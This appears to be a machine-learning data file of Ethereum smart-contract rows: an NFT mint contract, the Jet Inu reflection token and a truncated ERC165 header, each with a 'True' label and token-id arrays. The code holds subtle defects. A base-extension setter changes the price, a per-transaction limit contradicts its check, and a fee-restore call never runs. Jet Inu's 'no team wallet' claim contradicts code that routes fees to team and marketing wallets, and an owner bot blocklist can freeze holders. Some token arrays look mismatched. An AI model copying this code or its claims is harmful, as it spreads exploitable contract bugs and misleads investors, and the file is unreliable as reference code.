* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, `tokenId` will be burned by `from`.
* - `from` and `to` are never both zero.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
* And also called after one token has been burned.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
* transferred to `to`.
* - When `from` is zero, `tokenId` has been minted for `to`.
* - When `to` is zero, `tokenId` has been burned by `from`.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
pragma solidity ^0.8.4;
contract MutantShibaClub is ERC721A, Ownable {
uint256 constant public MAX_MINT = 10000;
uint256 constant public MAX_MINT_PER_TX = 1;
uint256 public cost = 0.16 ether;
string public baseURI = "";
string public baseExtension = ".json";
bool public paused;
constructor() ERC721A("Mutant Shiba Club", "MSC") {}
/**
* @notice community sale mint
*/
function communitySaleMint(uint256 quantity) external payable {
require(!paused, "Sale is currently paused.");
require(quantity > 0, "Mint quantity less than 0.");
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount.");
require(quantity <= 10, "Cannot exeeds 1 quantity per tx.");
require(msg.value >= quantity * cost, "Exceeds mint quantity or not enough eth sent");
_safeMint(msg.sender, quantity);
}
/**
* @notice public sale mint
*/
function publicSaleMint(uint256 quantity) external payable {
require(!paused, "Sale is currently paused.");
require(quantity > 0, "Mint quantity less than 0.");
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount.");
require(quantity <= 10, "Cannot exeeds 1 quantity per tx.");
require(msg.value >= quantity * cost, "Exceeds mint quantity or not enough eth sent");
_safeMint(msg.sender, quantity);
}
/**
* @notice presale mint
*/
function preSaleMint(uint256 quantity) external payable {
require(!paused, "Sale is currently paused.");
require(quantity > 0, "Mint quantity less than 0.");
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount.");
require(quantity <= 10, "Cannot exeeds 1 quantity per tx.");
require(msg.value >= quantity * cost, "Exceeds mint quantity or not enough eth sent");
_safeMint(msg.sender, quantity);
}
function teamMint(uint256 quantity) external onlyOwner {
require(totalSupply() + quantity <= MAX_MINT, "Cannot exceed max mint amount");
_safeMint(msg.sender, quantity);
}
function setCost(uint256 _newCost) external onlyOwner() {
cost = _newCost;
}
function setBaseExtension(uint256 _newCost) external onlyOwner() {
cost = _newCost;
}
function setBaseURI(string calldata uri) external onlyOwner {
baseURI = uri;
}
function toggleSale() external onlyOwner {
paused = !paused;
}
function _baseURI() internal view override returns (string memory) {
return baseURI;
}
function withdraw() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
6021,
1011,
2861,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
3461,
25391,
2213,
25391,
7382,
25391,
7382,
2213,
3461,
25391,
25391,
25391,
7382,
1049,
25391,
7382,
7382,
7382,
2213,
25391,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
25391,
2213,
25391,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
3461,
25391,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
25391,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
3461,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
25391,
25391,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
3461,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
2213,
25391,
7382,
7382,
7382,
7382,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
25391,
2213,
25391,
7382,
7382,
7382,
2213,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
2213,
25391,
1049,
25391,
25391,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
7382,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-06-12
*/
/*
SPDX-License-Identifier: Mines™®©
Jet Inu Token is experimental meme token to benefit the community members/holders by redistribution strategy and fair launch.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Myōbu was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000 Total Supply
3. Developer provides LP
4. Fair launch for everyone!
5. 0,2% transaction limit on launch
6. Buy limit lifted after launch
7. Sells limited to 3% of the Liquidity Pool, <2.9% price impact
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract JetInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Jet Inu Token";
string private constant _symbol = "JetInu";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
require(liquidityAdded);
tradingOpen = true;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
5757,
1011,
2260,
1008,
1013,
1013,
1008,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
7134,
30108,
29656,
29652,
6892,
1999,
2226,
19204,
2003,
6388,
2033,
4168,
19204,
2000,
5770,
1996,
2451,
2372,
1013,
13304,
2011,
25707,
5656,
1998,
4189,
4888,
1012,
2007,
1037,
8790,
5271,
5787,
2241,
2006,
3976,
4254,
1998,
4852,
5271,
4658,
7698,
2015,
1998,
25707,
7773,
2006,
5486,
15187,
1010,
2026,
16429,
2226,
2001,
2881,
2000,
10377,
13304,
1998,
28085,
23642,
1012,
1015,
1012,
4965,
5787,
1998,
4658,
7698,
25309,
2006,
23311,
2000,
2191,
2469,
2053,
12978,
28516,
2015,
2031,
1037,
3382,
2000,
1055,
3490,
5051,
2502,
8810,
1997,
1996,
4770,
1012,
1016,
1012,
2053,
2136,
1004,
5821,
15882,
1012,
2531,
1003,
1997,
1996,
19204,
2015,
2097,
2272,
2006,
1996,
3006,
2005,
3119,
1012,
1017,
1012,
2053,
3653,
12002,
2063,
15882,
2015,
2008,
2064,
15653,
2006,
1996,
2451,
1012,
19204,
2592,
1015,
1012,
1015,
1010,
2199,
1010,
2199,
1010,
2199,
2561,
4425,
1017,
1012,
9722,
3640,
6948,
1018,
1012,
4189,
4888,
2005,
3071,
999,
1019,
1012,
1014,
1010,
1016,
1003,
12598,
5787,
2006,
4888,
1020,
1012,
4965,
5787,
4196,
2044,
4888,
1021,
1012,
15187,
3132,
2000,
1017,
1003,
1997,
1996,
6381,
3012,
4770,
1010,
1026,
1016,
1012,
1023,
1003,
3976,
4254,
1022,
1012,
5271,
4658,
7698,
7457,
2006,
5486,
15187,
1010,
1018,
15187,
2306,
1037,
2484,
2847,
2558,
2024,
3039,
1023,
1012,
1016,
1003,
25707,
2000,
13304,
2006,
2035,
23311,
2184,
1012,
1021,
1003,
25707,
2000,
13304,
2006,
1996,
2034,
5271,
1010,
7457,
1016,
2595,
1010,
1017,
2595,
1010,
1018,
2595,
2006,
5486,
15187,
2340,
1012,
25707,
2941,
2573,
999,
2260,
1012,
1019,
1011,
1020,
1003,
9722,
7408,
3975,
2306,
1996,
2136,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
10061,
3206,
6123,
1063,
3853,
1035,
5796,
5620,
10497,
2121,
1006,
1007,
4722,
3193,
7484,
5651,
1006,
4769,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
1065,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
4604,
2121,
1010,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-03
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
